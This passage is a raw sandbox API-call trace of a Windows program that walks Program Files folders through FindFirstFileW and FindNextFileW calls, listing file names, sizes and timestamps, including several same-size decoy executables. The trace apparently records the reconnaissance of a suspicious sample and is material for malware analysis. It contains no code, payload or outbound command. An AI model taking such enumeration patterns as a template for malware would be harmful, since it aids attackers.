lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b447c20, ftCreationTime.dwHighDateTime=0x1d58e65, ftLastAccessTime.dwLowDateTime=0x707696c0, ftLastAccessTime.dwHighDateTime=0x1d5c3b3, ftLastWriteTime.dwLowDateTime=0x707696c0, ftLastWriteTime.dwHighDateTime=0x1d5c3b3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="kids-memorabilia.exe", cAlternateFileName="KIDS-M~1.EXE")) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19723c30, ftCreationTime.dwHighDateTime=0x1d558a6, ftLastAccessTime.dwLowDateTime=0xb4c8f740, ftLastAccessTime.dwHighDateTime=0x1d5b725, ftLastWriteTime.dwLowDateTime=0xb4c8f740, ftLastWriteTime.dwHighDateTime=0x1d5b725, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74d57b0, ftCreationTime.dwHighDateTime=0x1d57b81, ftLastAccessTime.dwLowDateTime=0x29cd9a10, ftLastAccessTime.dwHighDateTime=0x1d569cd, ftLastWriteTime.dwLowDateTime=0x29cd9a10, ftLastWriteTime.dwHighDateTime=0x1d569cd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="starbuys.exe", cAlternateFileName="")) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74d57b0, ftCreationTime.dwHighDateTime=0x1d57b81, ftLastAccessTime.dwLowDateTime=0x29cd9a10, ftLastAccessTime.dwHighDateTime=0x1d569cd, ftLastWriteTime.dwLowDateTime=0x29cd9a10, ftLastWriteTime.dwHighDateTime=0x1d569cd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="starbuys.exe", cAlternateFileName="")) returned 0 [0029.678] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa05e0310, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa05e0310, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0029.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa05e0310, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa05e0310, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa05e0310, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa05e0310, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8548940, ftCreationTime.dwHighDateTime=0x1d5a64d, ftLastAccessTime.dwLowDateTime=0xd1021520, ftLastAccessTime.dwHighDateTime=0x1d592dd, ftLastWriteTime.dwLowDateTime=0xd1021520, ftLastWriteTime.dwHighDateTime=0x1d592dd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="far.exe", cAlternateFileName="")) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0029.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.679] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.679] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0029.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b5a8 [0029.680] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.680] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0029.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba00 [0029.680] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.680] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0029.680] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 1 [0029.680] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 0 [0029.680] FindClose (in: hFindFile=0x70ba00 | out: hFindFile=0x70ba00) returned 1 [0029.680] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0029.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba00 [0029.680] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9fc12, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x8c9fc12, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5627c831, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9fc12, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x8c9fc12, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5627c831, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0029.681] FindClose (in: hFindFile=0x70ba00 | out: hFindFile=0x70ba00) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0029.681] FindClose (in: hFindFile=0x70b5a8 | out: hFindFile=0x70b5a8) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0029.681] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0029.681] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0547d90, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0547d90, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0029.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.681] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0029.681] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.681] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fb762d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fb762d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0029.682] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0029.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.682] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.682] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0535850, ftCreationTime.dwHighDateTime=0x1d59aea, ftLastAccessTime.dwLowDateTime=0x7651db00, ftLastAccessTime.dwHighDateTime=0x1d554fe, ftLastWriteTime.dwLowDateTime=0x7651db00, ftLastWriteTime.dwHighDateTime=0x1d554fe, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="3dftp.exe", cAlternateFileName="")) returned 1 [0029.682] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0029.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.683] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll.mui", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll.mui", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe.mui", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, 